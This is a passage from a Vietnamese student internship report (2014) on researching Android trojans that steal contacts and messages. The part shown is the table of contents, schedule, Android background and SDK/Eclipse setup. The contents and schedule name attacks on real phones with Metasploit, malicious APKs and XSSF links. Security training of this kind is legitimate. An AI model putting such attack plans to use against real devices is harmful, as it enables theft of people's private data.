81
ATHENA - TRUNG TÂM ĐÀO TẠO QUN TRMẠNG VÀ AN NINH MẠNG QUC TĐỀ TÀI: NGHIÊN CỨU CÁC TROJAN, MALWARE CHO PHÉP ĐÁNH CẮP DỮ LIỆU NHƯ DANH SÁCH LIÊN LẠC, TIN NHẮN TRÊN ĐIỆN THOẠI SỬ DỤNG ANDROID VÀ GỬI RA NGOÀI GIÁO VIÊN HƯỚNG DN: THẦY VÕ ĐỖ THNG SINH VIÊN THỰC HIN: PHAN LÝ TRÚC ANH Tháng 11/2014

BÁO CÁO THỰC TẬP - CUỐI KỲ

Embed Size (px)

Citation preview

Page 1: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

ATHENA - TRUNG TÂM ĐÀO TẠO

QUẢN TRỊ MẠNG VÀ AN NINH MẠNG QUỐC TẾ

ĐỀ TÀI: NGHIÊN CỨU CÁC TROJAN, MALWARE

CHO PHÉP ĐÁNH CẮP DỮ LIỆU NHƯ DANH

SÁCH LIÊN LẠC, TIN NHẮN TRÊN ĐIỆN THOẠI

SỬ DỤNG ANDROID VÀ GỬI RA NGOÀI

GIÁO VIÊN HƯỚNG DẪN: THẦY VÕ ĐỖ THẮNG

SINH VIÊN THỰC HIỆN: PHAN LÝ TRÚC ANH

Tháng 11/2014

Page 2: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

NHẬN XÉT

(Của giáo viên hướng dẫn)

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

...........................................................................................................................................

.......................... , ngày …… tháng …… năm ..........

Giáo viên hướng dẫn

Page 3: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

Ảnh chụp với Giáo viên hướng dẫn – Thầy Võ Đỗ Thắng

Page 4: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

MỤC LỤC

LỜI CẢM ƠN .................................................................................................................. 1

LỜI CAM KẾT ................................................................................................................ 2

MỞ ĐẦU ......................................................................................................................... 3

A - GIỚI THIỆU VỀ TRUNG TÂM ATHENA ............................................................. 4

1. Lĩnh vực hoạt động chính: ................................................................................. 4

2. Đội ngũ giảng viên: ............................................................................................ 4

3. Cơ sở vật chất: ................................................................................................... 5

4. Dịch vụ hỗ trợ: ................................................................................................... 5

B – THỐNG KÊ QUÁ TRÌNH THỰC TẬP .................................................................. 6

1. Thời gian thực tập: ............................................................................................. 6

2. Liệt kê nội dung thực tập: .................................................................................. 6

C – NỘI DUNG THỰC TẬP CHI TIẾT......................................................................... 8

I. TỔNG QUAN VỀ ANDROID ............................................................................. 8

1. Giới thiệu: .......................................................................................................... 8

2. Đặc điểm: ........................................................................................................... 9

3. Tìm hiểu sự giống nhau và khác nhau của phiên bản Android 2.x và 4.x: ...... 11

II. THIẾT ĐẶT, GIẢ LẬP THIẾT BỊ CHẠY ANDROID ..................................... 13

1. Hướng dẫn tải về và cài đặt JDK và SDK: ...................................................... 13

2. Hướng dẫn cài đặt thiết bị giả lập Android với phần mềm Eclipse: ................ 18

3. Hướng dẫn cài đặt thiết bị giả lập Android trên phần mềm Genymotion: ...... 21

III. CÀI ĐẶT MÁY ẢO KALI LINUX ................................................................ 27

1. Chuẩn bị: .......................................................................................................... 28

2. Tiến trình: ......................................................................................................... 28

IV. NGHIÊN CỨU LỖ HỔNG BẢO MẬT CỦA ANDROID ............................. 37

1. Tin tức thời sự về sự bảo mật của Android: .................................................... 37

2. Khái niệm và phân loại lỗ hổng bảo mật trên Android:................................... 37

3. Nghiên cứu Malware, Trojan và cơ chế tạo mã độc trên Android: ................. 38

V. CÀI ĐẶT VÀO THIẾT BỊ ANDROID TROJAN ỨNG DỤNG iCALENDAR

VÀ TROJAN ỨNG DỤNG iMATCH ....................................................................... 39

1. Các Tools cần thiết để cài đặt: ......................................................................... 39

2. Tải về và xem source code của các ứng dụng *.apk: ....................................... 40

Page 5: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

3. Cài đặt Trojan ứng dụng iCalendar.apk: .......................................................... 40

4. Cài đặt Trojan ứng dụng iMatch.apk ............................................................... 46

VI. TẠO MÃ ĐỘC TRÊN MÁY KALI LINUX VÀ TẤN CÔNG VÀO THIẾT

BỊ ANDROID ............................................................................................................ 48

1. Các công cụ cần thiết: ...................................................................................... 48

2. Tiến trình: ......................................................................................................... 48

VII. TẤN CÔNG VÀO THIẾT BỊ ANDROID THÔNG QUA LIÊN KẾT CHỨA

MÃ ĐỘC .................................................................................................................... 57

1. Các công cụ cần thiết: ...................................................................................... 57

2. Tiến trình: ......................................................................................................... 57

VIII. KẾT NỐI MÁY CHỦ ẢO VPS ....................................................................... 63

1. Giới thiệu máy chủ ảo VPS: ............................................................................ 63

2. Đặc điểm của VPS: .......................................................................................... 63

3. Giá trị khi sử dụng VPS: .................................................................................. 64

4. Kết nối VPS: .................................................................................................... 64

IX. CÀI ĐẶT METASPLOIT TRÊN VPS ............................................................ 64

1. Giới thiệu về phần mềm Metasploit: ............................................................... 64

2. Giới thiệu payload Meterpreter: ....................................................................... 65

3. Cài đặt Metasploit: ........................................................................................... 65

X. TẤN CÔNG MÁY ANDROID TỪ MÁY VPS ................................................. 67

1. Tạo ứng dụng chứa mã độc trên Kali Linux: ................................................... 67

2. Tấn công điện thoại Android: .......................................................................... 68

3. Các phương thức tấn công được sử dụng: ....................................................... 68

KẾT LUẬN ................................................................................................................... 74

PHỤ LỤC I: VIDEO QUÁ TRÌNH THỰC HIỆN ........................................................ 75

PHỤ LỤC II: TRÍCH DẪN NGUỒN THAM KHẢO .................................................. 76

Page 6: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 1

LỜI CẢM ƠN

Trước tiên , em xin cảm ơn đến các thầy cô trong trường Đại học Khoa Học Tự

Nhiên – TP Hồ Chí Minh nói chung và các thầy cô trong khoa Điện Tử Viễn Thông,

bộ môn Máy tính – Hệ thống nhúng nói riêng đã tận tình giảng dạy, truyền đạt cho em

những kiến thức, kinh nghiệm quý báu trong suốt bốn năm qua để em vững bước trên

con đường học tập và công việc của mình sau này.

Đặc biệt em xin gửi lời cảm ơn và lòng biết ơn sâu sắc đến thầy Võ Đỗ Thắng,

các thầy và anh chị trong Trung tâm ATHENA đã tận tình giúp đỡ, chỉ bảo và hướng

dẫn em trong suốt thời gian thực tập. Trong suốt thời gian làm việc với thầy và trung

tâm em không ngừng tiếp thu thêm nhiều kiến thức bổ ích mà còn học tập được tinh

thần làm việc, thái độ nghiên cứu nghiêm túc, hiệu quả, chi tiết, và làm quan được với

môi trường làm việc công nghiệp. Đây là những điều rất cần thiết cho em trong quá

trình học tập và làm việc sau này.

Sau cùng em xin gửi lời cảm ơn tới gia đình, các anh chị công tác trong khoa,

bạn bè đã động viên, đóng góp ý kiến và giúp đỡ trong quá trình học tập, nghiên cứu

và hoàn thành thực tập tốt nghiệp.

TP. Hồ Chí Minh, ngày 3 tháng 11 năm 2014

Sinh viên thực hiện

Phan Lý Trúc Anh

Page 7: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 2

LỜI CAM KẾT

Em xin cam kết:

Những nội dung trong báo cáo này là do em tự thực hiện với sự hướng dẫn của

Thầy và anh chị tại Trung Tâm ATHENA.

Mọi tham khảo trong quá trình thực hiện báo cáo đều được trích dẫn rõ ràng về

nội dung, tác giả, địa chỉ tham khảo.

Nếu sao chép không hợp lệ, vi phạm quy chế đào tạo, hay gian lận, em xin chịu

hoàn toàn trách nhiệm.

TP. Hồ Chí Minh, ngày 3 tháng 11 năm 2014

Sinh viên thực hiện

Phan Lý Trúc Anh

Page 8: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 3

MỞ ĐẦU

Khi bắt đầu tìm kiếm môi trường phù hợp cho việc thực tập, em đã đặt cho

mình các mục tiêu sau:

- Tiếp cận với môi trường doanh nghiệp để học cách làm việc của họ.

- Nắm được quy trình phát triển phần mềm đang được áp dụng đồng thời tiếp cận

được công nghệ mới.

- Sử dụng được những kiến thức đã học trong 3 năm đầu.

- Nhận được những kiến thức cần thiết cho công việc mà không được đề cập trên

giảng đường.

- Trau dồi các kỹ năng bản thân, nhất là kỹ năng làm việc nhóm và khả năng sử

dụng tiếng Anh chuyên ngành.

Xét thấy 5 mục tiêu trên là cần thiết với một sinh viên sắp rời khỏi ghế nhà

trường, em cố gắng tìm kiêm một công ty, doanh nghiệp hay trung tâm có thể đáp ứng

được mong muốn của mình. Sau một thời gian dài tìm hiểu và thăm dò qua bạn bè và

người thân thấy “Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế

ATHENA” nhận sinh viên thực tập về các đề tài công nghệ di động, hệ điều hành di

động Android mà em đang muốn tìm hiểu. Em quyết định nộp hồ sơ ứng tuyển vị trí

thực tập sinh 2 tháng tại Trung tâm ATHENA, và đã được trung tâm nhận vào vị trí

thực tập viên 2 tháng.

Ngày 21/7/2014 em bắt đầu quá trình thực tập của mình ở trung tâm ATHENA.

Page 9: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 4

A - GIỚI THIỆU VỀ TRUNG TÂM ATHENA

Trung Tâm Đào Tạo Quản Trị Mạng & An Ninh Mạng Quốc Tế ATHENA được

thành lập từ năm 2004, là một tổ chức qui tụ nhiều trí thức trẻ Việt Nam đầy năng

động, nhiệt huyết và kinh nghiệm trong lãnh vực Công nghệ thông tin, với tâm huyết

góp phần vào công cuộc thúc đẩy tiến trình đưa công nghệ thông tin là ngành kinh tế

mũi nhọn, góp phần phát triển nước nhà.

1. Lĩnh vực hoạt động chính:

- Trung tâm ATHENA đã và đang tập trung chủ yếu vào đào tạo chuyên sâu

quản trị mạng, an ninh mạng, thương mại điện tử theo các tiêu chuẩn quốc tế của các

hãng nổi tiếng như Microsoft, Cisco, Oracle, Linux LPI , CEH,... Song song đó, trung

tâm ATHENA còn có những chương trình đào tạo cao cấp dành riêng theo đơn đặt

hàng của các đơn vị như Bộ Quốc Phòng, Bộ Công An , ngân hàng, doanh nghiệp, các

cơ quan chính phủ, tổ chức tài chính..

- Sau gần 10 năm hoạt động,nhiều học viên tốt nghiệp trung tâm ATHENA đã là

chuyên gia đảm nhận công tác quản lý hệ thống mạng, an ninh mạng cho nhiều bộ

ngành như Cục Công Nghệ Thông Tin - Bộ Quốc Phòng , Bộ Công An, Sở Thông Tin

Truyền Thông các tỉnh, bưu điện các tỉnh,.....

- Ngoài chương trình đào tạo, Trung tâm ATHENA còn có nhiều chương trình

hợp tác và trao đổi công nghệ với nhiều đại học lớn như đại học Bách Khoa Thành

Phố Hồ CHính Minh, Học Viện An Ninh Nhân Dân( Thủ Đức), Học Viện Bưu Chính

Viễn Thông, Hiệp hội an toàn thông tin (VNISA), Viện Kỹ Thuật Quân Sự, ...

2. Đội ngũ giảng viên:

- Tất cả các giảng viên trung tâm ATHENA có đều tốt nghiệp từ các trường đại

học hàng đầu trong nước,... Tất cả giảng viên ATHENA đều phải có các chứng chỉ

quốc tế như MCSA, MCSE, CCNA, CCNP, Security+, CEH, có bằng sư phạm Quốc

tế (Microsoft Certified Trainer). Đây là các chứng chỉ chuyên môn bắt buộc để đủ điều

kiện tham gia giảng dạy tại trung tâm ATHENA.

Page 10: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 5

- Bên cạnh đó,Các giảng viên ATHENA thường đi tu nghiệp và cập nhật kiến

thức công nghệ mới từ các nước tiên tiến như Mỹ, Pháp, Hà Lan, Singapore,... và

truyền đạt các công nghệ mới này trong các chương trình đào tạo tại trung tâm

ATHENA.

3. Cơ sở vật chất:

- Thiết bị đầy đủ và hiện đại.

- Chương trình cập nhật liên tục, bảo đảm học viên luôn tiếp cận với những công

nghệ mới nhất.

- Phòng máy rộng rãi, thoáng mát.

4. Dịch vụ hỗ trợ:

- Đảm bảo việc làm cho học viên tốt nghiệp khoá dài hạn.

- Giới thiệu việc làm cho mọi học viên.

- Thực tập có lương cho học viên khá giỏi.

- Ngoài giờ học chính thức, học viên được thực hành thêm miễn phí, không giới

hạn thời gian.

- Hỗ trợ kỹ thuật không thời hạn trong tất cả các lĩnh vực liên quan đến máy tính,

mạng máy tính, bảo mật mạng.

- Hỗ trợ thi Chứng chỉ Quốc tế...

Page 11: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 6

B – THỐNG KÊ QUÁ TRÌNH THỰC TẬP

1. Thời gian thực tập:

- Thời gian bắt đầu: 21/7/2014

- Thời gian kết thúc: 3/11/2014

- Giờ thực tập tại Trung tâm: 7h đến 10h, 3 buổi/ tuần.

2. Liệt kê nội dung thực tập:

Bảng bên dưới là nội dung công việc trong suốt quá trình thực tập:

Thời gian Nội dung công việc

Ngày 22/7/2014 - Gặp giáo viên hướng dẫn, nhận đề tài thực tập

và tài liệu hướng dẫn.

Tuần 1

(22/7/2014 – 27/7/2014)

- Cài đặt máy ảo Kali Linux trên phần mềm

VMware workstation.

- Tìm hiểu về Hệ điều hành Android, tìm hiểu các

phiên bản Android.

Tuần 2

(28/7/2014 – 03/8/2014)

- Học và thi khóa học System Hacking.

- Cài đặt Eclipse, bộ công cụ Java SE

Development Kit, Android Developer Tools,

Android SDK…

- Nghiên cứu tạo máy thiết bị chạy Android ảo

trên Eclipse.

Tuần 3

(04/8/2014 – 10/8/2014)

- Nghiên cứu tạo máy ảo chạy Android trên phần

mềm Genymotion. Tìm hiểu ưu khuyết điểm của

so với phần mềm Eclipse.

- Nghiên cứu lỗ hổng bảo mật của Android. Tìm

hiểu cách thức hoạt động của malware, trojan,…

Page 12: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 7

Tuần 4

(11/8/2014 – 17/8/2014)

- Nghiên cứu và tạo file chứa mã độc trên Kali

Linux và tấn công vào điện thoại Android ảo.

- Tấn công điện thoại Android qua đường link mã

độc nhờ XSSF.

Tuần 5

(18/8/2014 – 24/8/2014)

- Cài đặt trojan ứng dụng iCalendar và iMatch vào

điện thoại Android ảo.

Tuần 6

(25/8/2014 – 31/8/2014)

- Tìm hiểu máy chủ ảo VPS.

- Tìm hiểu phần mềm Metasploit.

- Cài đặt Metasploit trên máy chủ ảo VPS.

Tuần 7

(1/9/2014 – 7/9/2014)

- Nghiên cứu và tấn công vào điện thoại Android

thật từ máy chủ ảo VPS.

Tuần 8

(8/9/2014 – 14/9/2014)

- Tổng hợp và làm báo cáo tổng kết.

Ngày 3/11/2014 - Báo cáo tổng kết

Page 13: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 8

C – NỘI DUNG THỰC TẬP CHI TIẾT

I. TỔNG QUAN VỀ ANDROID

1. Giới thiệu:

- Tổng công ty Android (Android, Inc.) được thành lập tại Palo Alto, California

vào tháng 10 năm 2003 bởi Andy Rubin (đồng sáng lập công ty Danger), Rich Miner

(đồng sáng lập Tổng công ty Viễn thông Wildfire), Nick Sears (từng là Phó giám đốc

T-Mobile), và Chris White (trưởng thiết kế và giao diện tại WebTV) để phát triển, theo

lời của Rubin, "các thiết bị di động thông minh hơn có thể biết được vị trí và sở thích

của người dùng". Dù những người thành lập và nhân viên đều là những người có tiếng

tăm, Tổng công ty Android hoạt động một cách âm thầm, chỉ tiết lộ rằng họ đang làm

phần mềm dành cho điện thoại di động. Trong năm đó, Rubin hết kinh phí. Steve

Perlman, một người bạn thân của Rubin, mang cho ông 10.000 USD tiền mặt nhưng từ

chối tham gia vào công ty.

- Google mua lại Tổng công ty Android vào ngày 17 tháng 8 năm 2005, biến nó

thành một bộ phận trực thuộc Google. Những nhân viên của chủ chốt của Tổng công

ty Android, gồm Rubin, Miner và White, vẫn tiếp tục ở lại công ty làm việc sau

thương vụ này. Vào thời điểm đó không có nhiều thông tin về Tổng công ty, nhưng

nhiều người đồn đoán rằng Google dự tính tham gia thị trường điện thoại di động sau

bước đi này. Tại Google, nhóm do Rubin đứng đầu đã phát triển một nền tảng thiết bị

di động phát triển trên nền nhân Linux. Google quảng bá nền tảng này cho các nhà sản

xuất điện thoại và các nhà mạng với lời hứa sẽ cung cấp một hệ thống uyển chuyển và

có khả năng nâng cấp. Google đã liên hệ với hàng loạt hãng phần cứng cũng như đối

tác phần mềm, bắn tin cho các nhà mạng rằng họ sẵn sàng hợp tác với các cấp độ khác

nhau.

- Ngày càng nhiều suy đoán rằng Google sẽ tham gia thị trường điện thoại di

động xuất hiện trong tháng 12 năm 2006. Tin tức của BBC và Nhật báo phố Wall chú

thích rằng Google muốn đưa công nghệ tìm kiếm và các ứng dụng của họ vào điện

thoại di động và họ đang nỗ lực làm việc để thực hiện điều này. Các phương tiện

truyền thông truyền thống lẫn online cũng viết về tin đồn rằng Google đang phát triển

một thiết bị cầm tay mang thương hiệu Google. Một vài tờ báo còn nói rằng trong khi

Page 14: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 9

Google vẫn đang thực hiện những bản mô tả kỹ thuật chi tiết, họ đã trình diễn sản

phẩm mẫu cho các nhà sản xuất điện thoại di động và nhà mạng. Tháng 9 năm 2007,

InformationWeek đăng tải một nghiên cứu của Evalueserve cho biết Google đã nộp

một số đơn xin cấp bằng sáng chế trong lĩnh vực điện thoại di động.

- Ngày 5/11/2007, Liên minh thiết bị cầm tay mở (Open Handset Alliance), một

hiệp hội bao gồm nhiều công ty trong đó có Texas Instruments, Tập đoàn Broadcom,

Google, HTC, Intel, LG, Tập đoàn MarvellTechnology, Motorola, Nvidia, Qualcomm,

Samsung Electronics, Sprint Nextel và T-Mobile được thành lập với mục đích phát

triển các tiêu chuẩn mở cho thiết bị di động. Cùng ngày, Android cũng được ra mắt với

vai trò là sản phẩm đầu tiên của Liên minh, một nền tảng thiết bị di động được xây

dựng trên nhân Linux phiên bản 2.6. Chiếc điện thoại chạy Android đầu tiên được bán

ra là HTC Dream, phát hành ngày 22 tháng 10 năm 2008. Biểu tượng của hệ điều

hành Android mới là một con rôbốt màu xanh lá cây do hãng thiết kế Irina Blok tại

California vẽ.

- Từ năm 2008, Android đã trải qua nhiều lần cập nhật để dần dần cải tiến hệ

điều hành, bổ sung các tính năng mới và sửa các lỗi trong những lần phát hành trước.

Mỗi bản nâng cấp được đặt tên lần lượt theo thứ tự bảng chữ cái, theo tên của một món

ăn tráng miệng; ví dụ như phiên bản 1.5 Cupcake (bánh bông lan nhỏ có kem) tiếp nối

bằng phiên bản 1.6 Donut (bánh vòng). Phiên bản mới nhất là 4.2 Jelly Bean (kẹo

dẻo). Vào năm 2010, Google ra mắt loạt thiết bị Nexus - một dòng sản phẩm bao gồm

điện thoại thông minh và máy tính bảng chạy hệ điều hành Android, do các đối tác

phần cứng sản xuất. HTC đã hợp tác với Google trong chiếc điện thoại thông minh

Nexus đầu tiên, Nexus One. Kể từ đó nhiều thiết bị mới hơn đã gia nhập vào dòng sản

phẩm này, như điện thoại Nexus 4 và máy tính bảng Nexus 10, lần lượt do LG và

Samsung sản xuất. Google xem điện thoại và máy tính bảng Nexus là những thiết bị

Android chủ lực của mình, với những tính năng phần cứng và phần mềm mới nhất của

Android.

2. Đặc điểm:

- Tính mở: Android được xây dựng từ dưới đi lên cho phép người phát triển tạo

các ứng dụng di động hấp dẫn với đầy đủ các điểm mạnh của các thiết bị cầm

tay hiện có. Android hoàn toàn mở, một ứng dụng có thể gọi tới bất kể một

Page 15: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 10

chức năng lõi của điện thoại như tạo cuộc gọi, gửi tin nhắn hay sử dụng máy

ảnh, cho phép người phát triển tạo phong phú hơn, liên kết hơn các tính năng

cho người dùng. Android được xây dựng trên nhân Linux mở. Thêm nữa, nó sử

dụng một máy ảo mà đã được tối ưu hóa bộ nhớ và phần cứng với môi trường

di động. Android mà một mã nguồn mở, nó có thể được mở rộng để kết hợp tự

do giữa các công nghệ nổi trội. Nền tảng này sẽ tiếp tục phát triển bởi cộng

đồng phát triển để tạo ra các ứng dụng di động hoàn hảo.

- Tính ngang bằng của các ứng dụng:

Với Android, không có sự khác nhau giữa các ứng dụng điện thoại cơ bản

với ứng dụng của bên thứ ba. Chúng được xây dựng để truy cập như nhau tới một

loạt các ứng dụng và dịch vụ của điện thoại. Với các thiết bị được xây dựng trên

nền tảng Android, người dùng có thể đáp ứng đầy đủ các nhu cầu mà họ thích.

Chúng ta có thể đổi màn hình nền, kiểu gọi điện thoại, hay bất kể ứng dụng nào.

Chúng ta thậm chí có thể hướng dẫn điện thoại chỉ xem những ảnh mình thích.

- Phá vỡ rào cản phát triển ứng dụng:

Android phá vỡ rào cản để tạo ứng dụng mới và cải tiến. Một người phát

triển có thể kết hợp thông tin từ trang web với dữ liệu trên điện thoại cá nhân –

chẳng hạn như danh bạ, lịch hay vị trí trên bản đồ – để cung cấp chính xác hơn cho

người khác. Với Android, người phát triển có thể xây dựng một ứng dụng mà cho

phép người dùng xem vị trí của những người bạn và thông báo khi họ đang ở vị trí

lân cận. Tất cả được lập trình dễ dàng thông qua sự hỗ trợ của MapView và dịch vụ

định vị toàn cầu GPS.

- Xây dựng ứng dụng dễ dàng và nhanh chóng:

Android cung cấp bộ thư viện giao diện lập trình ứng dụng đồ sộ và các

công cụ để viết các ứng dụng phức tạp. Ví dụ, Android có thể cho phép người phát

triển biết được vị trí của thiết bị và cho phép các thiết bị giao tiếp với nhau để có

thể tạo nên mạng xã hội chia sẻ ngang hàng rộng khắp. Thêm nữa, Android còn

bao gồm một bộ công cụ đầy đủ giúp cho việc phát triển trở nên dễ dàng.

Page 16: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 11

3. Tìm hiểu sự giống nhau và khác nhau của phiên bản Android 2.x và 4.x:

Theo thống kê tình hình những phiên bản hệ điều hành Android công bố đầu

tháng 9 này đã cho thấy có nhiều sự thay đổi lớn. Phiên bản Gingerbread (2.3.x) dù đã

ra mắt rất lâu rồi nhưng vẫn về vị trí thứ 2 với 30,7% thị phần, đứng sau phiên bản

Jelly Bean (4.1.x và 4.2.x) với 45,1% thị phần và về vị trí thứ 3 là phiên bản Ice Cream

Sandwich (4.0.x) với 21,7% thị phần.

Ta có thể tải các tài liêu về các phiên bản Android do Google công bố ở link sau

để nghiên cứu và tìm hiểu: http://source.android.com/compatibility/downloads.html

Ở đây ta sẽ thấy được 4 điểm khác nhau rõ nét nhất của 2 phiên bản này:

- Giao diện (Graphical User Interface)

- Tính năng (Functionality)

- Giao thức mạng (Network Protocol)

- Yêu cầu phần cứng (Hardware)

3.1 Giao diện người dùng:

Android 2.3 Android 4.0

Giao diện đơn giản Giao diện trong suốt, tinh tế và

phong cách hơn

Không hỗ trợ phím ảo Hỗ trợ phím ảo

Không có widgets menu Có widgets menu

3.2. Tính năng:

Android 2.3 Android 4.0

Tối ưu hóa cho smart phone Tối ưu hóa cho cả tablets và smart

Page 17: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 12

phone

Xóa tất cả thông báo Xóa được từng thông báo

Chỉ có thể trả lời cuộc gọi khi màn

hình bị khóa

Có thể thực hiện nhiều tính năng

khi màn hình bị khóa

Không hỗ trợ nhận biết khuôn mặt Mở khóa bằng nhận biết khuôn

mặt (face unclock)

Không có quản lý mức độ sử dụng

dữ liệu

Có quản lý mức độ xử dụng dữ

liệu

Quay phim độ nét không quá 480p Quay phim độ nét lên tới 1080p

3.3. Giao thức mạng:

Android 2.3 Android 4.0

Không hỗ trợ giao thức https Hỗ trợ giao thức https

3.4. Yêu cầu phần cứng:

Android 2.3 Android 4.0

Cung cấp ít nhất 128MB cho

kernel

Cung cấp ít nhất 340MB cho

kernel

Dung lượng RAM ít nhất là

150MB

Dung lượng RAM ít nhất là

350MB

Thiết bị phải có khả năng tải về

một file 55MB hoặc hớn hơn

Thiết bị phải có khả năng tải về

một file 100MB hoặc lớn hơn

Page 18: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 13

Độ phân giải màn hình ít nhất

100dpi

Độ phân giải màn hình ít nhất

120dpi

Yêu cầu phải có các phím vật lý Không yêu cầu phải có các phím

vật lý

Kiểm tra hiệu suất dựa trên thời

gian mở ứng dụng:

Trình duyệt: ít hơn 1300ms

MMS/SMS: ít hơn 700ms

Báo thức: ít hơn 650ms

Kiểm ra hiệu suất dựa trên thời

gian mở ứng dụng:

Trình duyệt: ít hơn 1300ms

MMS/SMS: ít hơn 700ms

Cài đặt: ít hơn 700ms

II. THIẾT ĐẶT, GIẢ LẬP THIẾT BỊ CHẠY ANDROID

Để giả lập thiết bị Android chúng ta cần cài đặt các công cụ giả lập và phần

mềm ứng dụng. Sau đây trình bày 2 cách để thiết đặt, giả lập thiết bị chạy Android trên

phầm mềm Eclpise và Genymotion .

1. Hướng dẫn tải về và cài đặt JDK và SDK:

1.1. Tải và cài đặt JDK – Java SE Development Kit:

Bước 1: Tải JDK tại

http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-

1880260.html

Click chọn “Accept License Agreement”

Chọn phiên bản phù hợp với máy tính. Ở đây ta chọn Windows x64

Page 19: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 14

Bước 2: Sauk hi tải về, ta tiến hành cài đặt như nhiều phần mềm khác qua các

lựa chọn Next. Cuối cùng click Close

Bước 3: Để kiểm tra lại việc cài đặt JDK. Ta mở cmd.exe

Gõ lệnh “java <Enter>”

Page 20: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 15

1.2. Tải về Eclipse Android Developer Tools và Android SDK:

Lưu ý khi ta tải về bộ này, sẽ gồm cả phần mềm Eclipse

Bước 1: Tải về tại link http://developer.android.com/sdk/index.html

Page 21: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 16

Click vào I have read and agree… và chọn phiên bản 64-bit

Click Download

Bước 2: Giải nén file vừa tải về. Chạy SDK Manager.exe

Lưu ý là có thể gặp lỗi Fetching https://dl-sll... Failed to fetch… Close

thông báo này lại.

Xuất hiển cửa sổ Choose Packages to Install. Nếu cửa sổ này rỗng >

Cancel

Quay về cửa sổ Android SDK and AVD manager > Settings > Tick

vào ô Force https://...

Nếu không bị lỗi này, thì sẽ xuất hiện cửa sổ Android SDK Manager

Ta chọn các Packages muốn cài. Và Install

Page 22: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 17

Bước 3: Tại cửa sổ Choose Packages to Install > Tick vào Accept License >

Install > Chờ hoàn tất

Page 23: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 18

2. Hướng dẫn cài đặt thiết bị giả lập Android với phần mềm Eclipse:

Phần mềm Eclipse có chức năng Android Virtual Device cho phép ta

tạo máy ảo chạy android (có thể là smartphone, tablet…)

Thông qua các máy ảo này ta có thể nghiên cứu cách tích hợp mã độc

vào thiết bị chạy android

2.1. Các Tools cần thiết để cài đặt:

- Phần mềm Eclipse

- Bộ Java SE Development Kit

- Android Developer Tools

- Android SDK

- Bộ công cụ Android Debug Bridge ADB

2.2. Tích hợp Android SDK vào Eclipse:

Sau khi có phần mềm Eclipse và bộ Android SDK, ta cần tích hợp lại để sử

dụng.

Bước 1: Mở eclipse.exe trong thư mục giải nén file Eclipse Android Developer

Tools và Android SDK đã tải ở trên

D:\ Soft\adt-bundle-windows-x86_64-20140702\eclipse\eclipse.exe

Bước 2: Vào Help > Install new software… > Add

> Name: gõ tên tool muốn đặt

> Location: gõ địa chỉ tải về ADT

https://dl.google.com/android/eclipse

hoặc https://dl-ssl.google.com/android/eclipse

> OK

